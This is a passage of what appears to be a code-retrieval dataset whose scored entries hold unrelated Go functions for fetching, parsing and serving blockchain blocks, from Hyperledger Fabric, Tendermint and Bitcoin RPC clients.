"ba8cd5d8b8533e2ca4707d4923b3549d", "score": "0.4914161", "text": "func (p *BlockPuller) requestBlocks(endpoint string, newStream ImpatientStreamCreator, env *common.Envelope) (*ImpatientStream, error) {\n\tstream, err := newStream()\n\tif err != nil {\n\t\tp.Logger.Warningf(\"Failed establishing deliver stream with %s\", endpoint)\n\t\treturn nil, err\n\t}\n\n\tif err := stream.Send(env); err != nil {\n\t\tp.Logger.Errorf(\"Failed sending seek envelope to %s: %v\", endpoint, err)\n\t\tstream.abort()\n\t\treturn nil, err\n\t}\n\treturn stream, nil\n}", "title": "" }, { "docid": "86a38257b718a608ff3b02625e4ddc41", "score": "0.4912992", "text": "func CreateGetIDEEventDetailResponse() (response *GetIDEEventDetailResponse) {\n\tresponse = &GetIDEEventDetailResponse{\n\t\tBaseResponse: &responses.BaseResponse{},\n\t}\n\treturn\n}", "title": "" }, { "docid": "910133b28131d262ebf2fd08dd3a91dd", "score": "0.49123123", "text": "func (app *PersistentKVStoreApplication) EndBlock(req types.RequestEndBlock) types.ResponseEndBlock {\n\treturn types.ResponseEndBlock{ValidatorUpdates: app.ValUpdates}\n}", "title": "" }, { "docid": "febca5aeb1e589ef8a52966070e3faa7", "score": "0.48989236", "text": "func (b *Client) getBlock(\n\tctx context.Context,\n\tidentifier *types.PartialBlockIdentifier,\n) (*Block, error) {\n\thash, err := b.getBlockHash(ctx, identifier)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: error getting block hash by identifier\", err)\n\t}\n\n\t// Parameters:\n\t// 1. Block hash (string, required)\n\t// 2. Verbosity (integer, optional, default=1)\n\t// https://bitcoin.org/en/developer-reference#getblock\n\tparams := []interface{}{hash, blockVerbosity}\n\n\tresponse := &blockResponse{}\n\tif err := b.post(ctx, requestMethodGetBlock, params, response); err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: error fetching block by hash %s\", err, hash)\n\t}\n\n\treturn response.Result, nil\n}", "title": "" }, { "docid": "a78e191b7f982d3743d917d087adbe1f", "score": "0.48935363", "text": "func (httpServer *HttpServer) handleRetrieveBeaconBlock(params interface{}, closeChan <-chan struct{}) (interface{}, *rpcservice.RPCError) {\n\tLogger.log.Debugf(\"handleRetrieveBeaconBlock params: %+v\", params)\n\tparamsT, ok := params.([]interface{})\n\tif ok && len(paramsT) >= 2 {\n\t\thashString, ok := paramsT[0].(string)\n\t\tif !ok {\n\t\t\treturn nil, rpcservice.NewRPCError(rpcservice.RPCInvalidParamsError, errors.New(\"hashString is invalid\"))\n\t\t}\n\t\tresult, err := httpServer.blockService.RetrieveBeaconBlock(hashString)\n\t\tLogger.log.Debugf(\"handleRetrieveBeaconBlock result: %+v, err: %+v\", result, err)\n\t\tif err != nil {\n\t\t\treturn result, err\n\t\t}\n\t\treturn result, nil\n\t}\n\tLogger.log.Debugf(\"handleRetrieveBeaconBlock result: %+v, err: %+v\", nil, nil)\n\treturn nil, nil\n}", "title": "" }, { "docid": "bc7495ee50c2b0f939a18f0271d60ee0", "score": "0.4892743", "text": "func (c Consumer) GetEvents(year int) ([]event.BasicEvent, error) {\n\tpath := fmt.Sprintf(\"%s/events/%d\", c.tbaURL, year)\n\n\tresp, err := c.makeRequest(path)\n\tif err != nil {\n\t\treturn []event.BasicEvent{}, err\n\t}\n\n\tif resp.StatusCode == http.StatusNotModified {\n\t\treturn []event.BasicEvent{}, tba.ErrNotModified\n\t} else if resp.StatusCode != http.StatusOK {\n\t\treturn []event.BasicEvent{}, fmt.Errorf(\"tba: polling failed with status code: %d\", resp.StatusCode)\n\t}\n\n\tvar tbaEvents []tbaEvent\n\tif err := json.NewDecoder(io.LimitReader(resp.Body, 1.049e+6)).Decode(&tbaEvents); err != nil {\n\t\treturn []event.BasicEvent{}, err\n\t}\n\n\tvar bEvents []event.BasicEvent\n\tfor _, tbaEvent := range tbaEvents {\n\t\ttimeZone, err := time.LoadLocation(tbaEvent.TimeZone)\n\t\tif err != nil {\n\t\t\treturn bEvents, err\n\t\t}\n\t\tdate, err := time.ParseInLocation(\"2006-01-02\", tbaEvent.Date, timeZone)\n\t\tif err != nil {\n\t\t\treturn bEvents, err\n\t\t}\n\t\tendDate, err := time.ParseInLocation(\"2006-01-02\", tbaEvent.EndDate, timeZone)\n\t\tif err != nil {\n\t\t\treturn bEvents, err\n\t\t}\n\n\t\tbEvents = append(bEvents, event.BasicEvent{\n\t\t\tKey: tbaEvent.Key,\n\t\t\tName: tbaEvent.Name,\n\t\t\tShortName: tbaEvent.ShortName,\n\t\t\tEventType: tbaEvent.EventType,\n\t\t\tLat: tbaEvent.Lat,\n\t\t\tLong: tbaEvent.Lng,\n\t\t\tDate: date,\n\t\t\tEndDate: endDate,\n\t\t})\n\t}\n\n\tlastModified.Set(path, resp.Header.Get(\"Last-Modified\"))\n\n\treturn bEvents, nil\n}", "title": "" }, { "docid": "d0e12f0ab8b7c149bdf38730551d738d", "score": "0.48891956", "text": "func (c *Client) GetLatestBlock(ctx context.Context, in *tmservice.GetLatestBlockRequest, opts ...grpc.CallOption) (*tmservice.GetLatestBlockResponse, error) {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\n\treps := tmservice.GetLatestBlockResponse{\n\t\tBlock: &types.Block{\n\t\t\tHeader: c.ctx.BlockHeader(), // We only need the header for simulation.\n\t\t},\n\t}\n\n\treturn &reps, nil\n}", "title": "" }, { "docid": "4bc03c4e12d6e63d5802441af4ec5d36", "score": "0.48877367", "text": "func GetBlock(ledgerClient LedgerClient, blocknum uint64) (*CustomBlock, error) {\n\tcustomBlock := &CustomBlock{}\n\n\tblock, err := ledgerClient.QueryBlock(blocknum)\n\tif err != nil {\n\t\t// skip if it's just the end of the blockchain\n\t\tif strings.Contains(err.Error(), \"Entry not found in index\") {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\n\t// get block hash\n\thash := hex.EncodeToString(block.Header.DataHash)\n\n\t// get hash of the previous block\n\tprevioushash := hex.EncodeToString(block.Header.PreviousHash)\n\n\trawdata := block.GetData()\n\tfor _, value := range rawdata.Data {\n\n\t\t// get validation code (0 is valid)\n\t\tprocessedtx := &peer.ProcessedTransaction{}\n\t\tproto.Unmarshal(value, processedtx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvalidationCode := processedtx.GetValidationCode()\n\n\t\tenvelope, err := utils.GetEnvelopeFromBlock(value)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// get ChannelHeader\n\t\tchannelHeader, err := utils.ChannelHeader(envelope)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// get timestamp\n\t\ttxtime, err := ptypes.Timestamp(channelHeader.Timestamp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// get RW sets\n\t\taction, _ := utils.GetActionFromEnvelopeMsg(envelope)\n\t\tactionResults := action.GetResults()\n\n\t\tReadWriteSet := &rwset.TxReadWriteSet{}\n\n\t\terr = proto.Unmarshal(actionResults, ReadWriteSet)\n\t\tif err != nil {\n\t\t\t//fmt.Printf(\"Failed to unmarshal: %s\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttxRWSet, err := rwsetutil.TxRwSetFromProtoMsg(ReadWriteSet)\n\t\tif err != nil {\n\t\t\t//fmt.Printf(\"Failed to convert rwset.TxReadWriteSet to rwsetutil.TxRWSet: %s\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\t//get tx id\n\t\tbytesEnvelope, err := utils.GetBytesEnvelope(envelope)\n\t\tif err != nil {\n\t\t\t//fmt.Printf(\"Can't convert common.Envelope to bytes: \", err)\n\t\t\treturn nil, err\n\t\t}\n\t\tTxId, err := utils.GetOrComputeTxIDFromEnvelope(bytesEnvelope)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif len(txRWSet.NsRwSets) == 0 {\n\t\t\t// cast \"github.com/hyperledger/fabric-sdk-go/third_party/github.com/hyperledger/fabric/protos/common\".Block to\n\t\t\t// \"github.com/hyperledger/fabric/protos/common\".Block\n\t\t\tconfigEnvelope, err := ConfigEnvelopeFromBlock(block)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tpayload, err := utils.ExtractPayload(configEnvelope)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"failed to extract payload from config envelope\")\n\t\t\t}\n\n\t\t\t// get config update\n\t\t\tconfigUpdate, err := configtx.UnmarshalConfigUpdateFromPayload(payload)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"could not read config update\")\n\t\t\t}\n\n\t\t\tvar stringedPayload []models.Chaincode\n\t\t\tReadSet, err := json.Marshal(configUpdate.ReadSet)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tWriteSet, err := json.Marshal(configUpdate.WriteSet)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tstringedPayload = append(stringedPayload, models.Chaincode{Key: \"ChannelId\", Value: configUpdate.ChannelId})\n\t\t\tstringedPayload = append(stringedPayload, models.Chaincode{Key: \"ReadSet\", Value: string(ReadSet)})\n\t\t\tstringedPayload = append(stringedPayload, models.Chaincode{Key: \"WriteSet\", Value: string(WriteSet)})\n\n\t\t\tjsonPayload, err := json.Marshal(stringedPayload)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\ttx := db.Tx{\n\t\t\t\tchannelHeader.ChannelId,\n\t\t\t\tTxId,\n\t\t\t\thash,\n\t\t\t\tprevioushash,\n\t\t\t\tblocknum,\n\t\t\t\tstring(jsonPayload),\n\t\t\t\tvalidationCode,\n\t\t\t\ttxtime.Unix(),\n\t\t\t}\n\t\t\tcustomBlock.Txs = append(customBlock.Txs, tx)\n\n\t\t}\n\t\tfor _, nsRwSet := range txRWSet.NsRwSets {\n\t\t\t// get only those txs that changes state\n\t\t\tif len(nsRwSet.KvRwSet.Writes) != 0 {\n\t\t\t\tvar stringedPayload []models.Chaincode\n\t\t\t\tfor _, write := range nsRwSet.KvRwSet.Writes {\n\t\t\t\t\tstringedPayload = append(stringedPayload, models.Chaincode{Key: write.Key, Value: string(write.Value)})\n\t\t\t\t}\n\n\t\t\t\tjsonPayload, err := json.Marshal(stringedPayload)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\ttx := db.Tx{\n\t\t\t\t\tchannelHeader.ChannelId,\n\t\t\t\t\tTxId,\n\t\t\t\t\thash,\n\t\t\t\t\tprevioushash,\n\t\t\t\t\tblocknum,\n\t\t\t\t\tstring(jsonPayload),\n\t\t\t\t\tvalidationCode,\n\t\t\t\t\ttxtime.Unix(),\n\t\t\t\t}\n\t\t\t\tcustomBlock.Txs = append(customBlock.Txs, tx)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn customBlock, nil\n}", "title": "" }, { "docid": "86b3d770d82472e69f5b6f53a5e50e8d", "score": "0.48876697", "text": "func (app *ConchApplication) EndBlock(req types.RequestEndBlock) types.ResponseEndBlock {\n\tapp.state.HeadSt.CurBlockNum = req.Height\n\n\treturn types.ResponseEndBlock{}\n}", "title": "" }, { "docid": "2dd5abb48e8421bd3f9ae61a1141ef6f", "score": "0.48862264", "text": "func (ex *Exporter) getBlock(block *tmctypes.ResultBlock) (*schema.Block, error) {\n\tproposerAddr := sdk.ConsAddress(block.Block.ProposerAddress).String()\n\tb := schema.NewBlock(schema.Block{\n\t\tHeight: block.Block.Height,\n\t\tProposer: proposerAddr,\n\t\tMoniker: ex.db.QueryValidatorMoniker(proposerAddr),\n\t\tBlockHash: block.BlockID.Hash.String(),\n\t\tParentHash: block.Block.Header.LastBlockID.Hash.String(),\n\t\tNumPrecommits: int64(len(block.Block.LastCommit.Signatures)),\n\t\tNumTxs: int64(len(block.Block.Txs)),\n\t\tTimestamp: block.Block.Time,\n\t})\n\n\treturn b, nil\n}", "title": "" }, { "docid": "5e1ef68f9f951728eaa8836d208d2575", "score": "0.48853734", "text": "func handleGetBlockTemplateRequest(api *PublicMinerAPI, request *json.TemplateRequest) (interface{}, error) {\n\treply := make(chan *gbtResponse)\n\terr := api.miner.GBTMining(request, reply)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp := <-reply\n\treturn resp.result, resp.err\n}", "title": "" }, { "docid": "d8c4645e5e06e30df08e3a85ff6dd5ce", "score": "0.488523", "text": "func handleBlockRequest(request RequestP2P, bf *BlockchainForest) BlockP2P {\r\n\tvar blockToReturn BlockP2P\r\n\tif !funk.IsEmpty(request.RequestParameters[\"local\"]) {\r\n\t\trequestValue := request.RequestParameters[\"local\"]\r\n\t\tif requestValue == \"tip\" {\r\n\t\t\tblockToReturn = bf.GetBlock(bf.Local.PeerId, bf.Local.Tip, false)\r\n\t\t\tblockToReturn.IsTip = true // mark as tip for peer to process\r\n\r\n\t\t} else {\r\n\t\t\tblockId, err := hex.DecodeString(requestValue)\r\n\t\t\tif err != nil {\r\n\t\t\t\tlog.Error(err)\r\n\t\t\t\treturn blockToReturn\r\n\t\t\t}\r\n\t\t\tblockToReturn = bf.GetBlock(bf.Local.PeerId, blockId, false)\r\n\t\t}\r\n\r\n\t} else {\r\n\t\tfor peerIdString, blockIdString := range request.RequestParameters { // should be only one round\r\n\r\n\t\t\tblockId, err := hex.DecodeString(blockIdString)\r\n\t\t\tpeerId, err := hex.DecodeString(peerIdString)\r\n\t\t\tif err != nil {\r\n\t\t\t\tlog.Error(err)\r\n\t\t\t\treturn blockToReturn\r\n\t\t\t}\r\n\t\t\tblockToReturn = bf.GetBlock(peerId, blockId, false)\r\n\t\t}\r\n\t}\r\n\r\n\treturn blockToReturn\r\n}", "title": "" } ]